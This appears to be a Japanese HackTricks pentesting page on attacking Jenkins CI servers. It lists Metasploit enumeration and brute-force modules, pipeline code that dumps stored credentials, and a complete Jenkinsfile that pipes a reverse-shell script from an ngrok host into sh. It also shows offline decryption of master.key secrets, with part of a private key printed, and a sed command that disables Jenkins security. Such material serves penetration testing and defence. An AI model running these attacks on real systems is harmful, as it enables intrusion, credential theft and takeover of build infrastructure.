Jenkins Security

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

基本情報

Jenkinsは、パイプラインを使用して、プログラミング言語ソースコードリポジトリのほぼすべての組み合わせに対して継続的インテグレーションまたは継続的デリバリー(CI/CD)環境を確立するための簡単な方法を提供するツールです。さらに、さまざまな開発タスクを自動化します。Jenkinsは個々のステップのスクリプトを作成する必要性を排除するわけではありませんが、ビルド、テスト、展開ツールの全シーケンスを手動で簡単に構築できる方法よりも迅速かつ堅牢な統合方法を提供します。

pageBasic Jenkins Information

認証されていない列挙

認証なしで興味深いJenkinsページを検索するために(_ /people または /asynchPeople _のような、現在のユーザーをリストアップするページなど)、次のように使用できます:

msf> use auxiliary/scanner/http/jenkins_enum

認証なしでコマンドを実行できるかどうかを確認します:

msf> use auxiliary/scanner/http/jenkins_command

認証情報がなくても、/asynchPeople/ パスや /securityRealm/user/admin/search/index?q=ユーザー名 を見ることができます。

Jenkins バージョンを /oops または /error パスから取得できるかもしれません。

既知の脆弱性

ログイン

基本情報では、Jenkins にログインする方法すべて を確認できます:

pageBasic Jenkins Information

登録

Jenkins インスタンスを見つけることができ、アカウントを作成してログイン できるものがあります。それほど簡単です。

SSO ログイン

また、SSO 機能/プラグイン が存在する場合は、テストアカウント(つまり、テスト Github/Bitbucket アカウント)を使用してアプリケーションに ログイン を試みる必要があります。こちら のトリック。

ブルートフォース

Jenkins には パスワードポリシーユーザー名のブルートフォース対策 が欠けています。弱いパスワードユーザー名をパスワードとして使用 している可能性があるため、ユーザーを ブルートフォース することが重要です。逆のユーザー名をパスワードとして使用 している場合もあります。

msf> use auxiliary/scanner/http/jenkins_login

パスワードスプレー

このPythonスクリプトまたはこのPowerShellスクリプトを使用します。

IPホワイトリスト回避

多くの組織は、GitHubやGitLabなどのSaaSベースのソースコントロール管理(SCM)システム内部の自己ホスト型CIソリューション(JenkinsやTeamCityなど)と組み合わせています。このセットアップにより、CIシステムは主にパイプラインジョブをトリガーするためにSaaSソースコントロールベンダーからWebhookイベントを受信できます。

これを実現するために、組織はSCMプラットフォームのIP範囲をホワイトリストに登録し、Webhookを介して内部CIシステムにアクセスできるようにします。ただし、重要な点として、誰でもGitHubやGitLabでアカウントを作成し、Webhookをトリガーするように構成でき、内部CIシステムにリクエストを送信する可能性があることに注意する必要があります。

確認: shttps://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

内部Jenkinsの悪用

これらのシナリオでは、Jenkinsにアクセスするための有効なアカウントがあると仮定します。

Jenkinsで構成された認証メカニズムと、侵害されたユーザーの権限に応じて、以下の攻撃を実行できるかどうかが異なる場合があります。

詳細については、基本情報を確認してください:

pageBasic Jenkins Information

ユーザーのリスト表示

Jenkinsにアクセスできる場合、他の登録ユーザーをhttp://127.0.0.1:8080/asynchPeople/でリスト表示できます。

クリアテキストの秘密を見つけるためのビルドのダンプ

このスクリプトを使用して、ビルドコンソール出力とビルド環境変数をダンプして、クリアテキストの秘密を見つけることができます。

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

SSH資格情報の盗難

侵害されたユーザーが新しいJenkinsノードを作成/変更する権限を持っている場合、既に他のノードにアクセスするためのSSH資格情報が格納されている場合、ノードを作成/変更してホストキーを検証せずに資格情報を記録するホストを設定することで、その資格情報を盗むことができます:

通常、JenkinsのSSH資格情報はグローバルプロバイダー/credentials/)にありますので、他の秘密情報をダンプするのと同様にそれらをダンプすることもできます。詳細は秘密情報のダンプセクションを参照してください。

JenkinsでのRCE

Jenkinsサーバーでシェルを取得すると、攻撃者はすべての秘密情報環境変数を漏洩させ、同じネットワーク内にある他のマシンを悪用したり、さらにはクラウド資格情報を収集する機会を得ます。

デフォルトでは、JenkinsはSYSTEMとして実行されます。したがって、それを侵害すると、攻撃者はSYSTEM権限を取得します。

プロジェクトの作成/変更によるRCE

プロジェクトの作成/変更は、Jenkinsサーバー上でRCEを取得する方法の1つです:

pageJenkins RCE Creating/Modifying Project

Groovyスクリプトの実行によるRCE

新しいプロジェクトを作成するよりもステルス性が高いGroovyスクリプトを実行することで、RCEを取得することもできます:

pageJenkins RCE with Groovy Script

パイプラインの作成/変更によるRCE

パイプラインの作成/変更によってもRCEを取得することができます:

pageJenkins RCE Creating/Modifying Pipeline

パイプラインの悪用

パイプラインを悪用するには、引き続きJenkinsへのアクセスが必要です。

ビルドパイプライン

パイプラインは、プロジェクトでのビルドメカニズムとして使用することもできます。その場合、パイプライン構文を含むリポジトリ内のファイルを構成できます。デフォルトでは/Jenkinsfileが使用されます:

リポジトリ内のファイルにパイプライン構成ファイルを保存することも可能です(たとえば、他のリポジトリに)。これにより、リポジトリのアクセスとパイプラインのアクセスを分離することができます。

攻撃者がそのファイルに書き込みアクセスを持っている場合、それを変更してパイプラインをトリガーすることができ、Jenkinsへのアクセスがなくてもパイプラインを実行できます。 攻撃者は一部のブランチ保護をバイパスする必要がある場合があります(プラットフォームとユーザー権限によってはバイパスできる場合もあります)。

カスタムパイプラインを実行する最も一般的なトリガーは次のとおりです:

  • メインブランチへのプルリクエスト(または他のブランチへの可能性があります)

  • メインブランチへのプッシュ(または他のブランチへの可能性があります)

  • メインブランチを更新して、何らかの方法で実行が完了するのを待つ

外部ユーザーの場合、他のユーザー/組織のリポジトリのメインブランチにPRを作成してパイプラインをトリガーすることは期待しないでください... ただし、悪く構成されている場合、これを悪用することで企業を完全に侵害することができます。

パイプラインRCE

以前のRCEセクションでは、パイプラインを変更してRCEを取得するテクニックがすでに示されています。

環境変数の確認

パイプライン全体または特定のステージのためにクリアテキスト環境変数を宣言することができます。これらの環境変数には機密情報が含まれていないはずですが、攻撃者は常にすべてのパイプライン構成/Jenkinsfileを確認できます:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

シークレットのダンプ

Jenkinsでのシークレットの扱い方についての詳細は、基本情報を参照してください:

pageBasic Jenkins Information

資格情報は、グローバルプロバイダ (/credentials/) または特定のプロジェクト (/job/<project-name>/configure) にスコープを設定できます。したがって、すべてのシークレットを外部に流出させるには、シークレットを含むすべてのプロジェクトを少なくともすべて侵害し、カスタム/毒入りのパイプラインを実行する必要があります。

別の問題があります。パイプラインの環境内のシークレットを取得するには、シークレットの名前とタイプを知る必要があります。たとえば、usernamePassword シークレットを**string** シークレットとしてロードしようとすると、このエラーが発生します:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

以下は一般的な秘密タイプをロードする方法です:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

このページの最後に、すべての資格情報タイプを見つけることができます: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

すべての秘密情報を一度にダンプする最良の方法は、Jenkinsマシンを侵害して(たとえば組み込みノードに逆シェルを実行して)、その後マスターキー暗号化された秘密情報漏洩し、オフラインでそれらを復号化することです。 これについて詳しくは、Nodes & AgentsセクションおよびPost Exploitationセクションを参照してください。

トリガー

ドキュメントによると、triggersディレクティブは、Pipelineを再トリガーする自動化された方法を定義します。GitHubやBitBucketなどのソースと統合されたPipelineの場合、triggersは必要ないかもしれません。ウェブフックベースの統合がすでに存在する可能性があります。現在利用可能なトリガーはcronpollSCMupstreamです。

Cronの例:

triggers { cron('H */4 * * 1-5') }

ドキュメントの他の例を確認してください。

ノードとエージェント

Jenkinsインスタンスには異なるマシンで実行されている異なるエージェントがあるかもしれません。攻撃者の観点からは、異なるマシンへのアクセスは盗む異なる潜在的なクラウド資格情報または他のマシンを悪用するために悪用できる異なるネットワークアクセスを意味します。

詳細については、基本情報を確認してください:

pageBasic Jenkins Information

/computer/構成されたノードを列挙できます。通常、**Built-In Node **(Jenkinsを実行しているノード)とその他のノードが見つかります:

Built-Inノードを侵害することが特に興味深いです。なぜなら、それには機密性の高いJenkins情報が含まれているからです。

パイプラインを****ビルトインJenkinsノードで実行することを示すには、パイプライン内で次の構成を指定できます:

pipeline {
agent {label 'built-in'}

完全な例

特定のエージェントでのパイプライン、cron トリガー、パイプラインとステージの環境変数を使用し、ステップで 2 つの変数を読み込んでリバースシェルを送信します。

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

ポストエクスプロイテーション

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkinsの秘密

十分な権限があれば、/credentials/ にアクセスして秘密をリストアップできます。ただし、これは credentials.xml ファイル内の秘密のみをリストアップしますが、ビルド構成ファイルにはさらに多くの資格情報が含まれている可能性があります。

各プロジェクトの構成を見ることができれば、そこにはリポジトリにアクセスするために使用される資格情報(秘密)の名前や、プロジェクトの他の資格情報も表示されます。

Groovyから

pageJenkins Dumping Secrets from Groovy

ディスクから

これらのファイルは、Jenkinsの秘密を復号化するために必要です:

  • secrets/master.key

  • secrets/hudson.util.Secret

このような秘密は通常以下で見つけることができます:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

これを見つけるための正規表現は次のとおりです:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Jenkinsの秘密をオフラインで復号化する

必要なパスワードをダンプした場合は、このスクリプトを使用して、それらの秘密を復号化します。

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

GroovyからJenkinsの秘密を復号化

println(hudson.util.Secret.decrypt("{...}"))

新しい管理者ユーザーの作成

  1. /var/lib/jenkins/config.xmlまたはC:\Program Files (x86)\Jenkis\内のJenkinsのconfig.xmlファイルにアクセスします。

  2. <useSecurity>true</useSecurity>という単語を検索し、**truefalse**に変更します。

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xmlを実行します。

  4. Jenkinsサーバーを再起動します:service jenkins restart

  5. Jenkinsポータルに再度アクセスし、今回はJenkinsが資格情報を要求しないことを確認します。"Manage Jenkins"に移動して管理者パスワードを再設定します。

  6. 設定を<useSecurity>true</useSecurity>に変更してセキュリティを再度有効化し、Jenkinsを再起動します。

参考文献

最終更新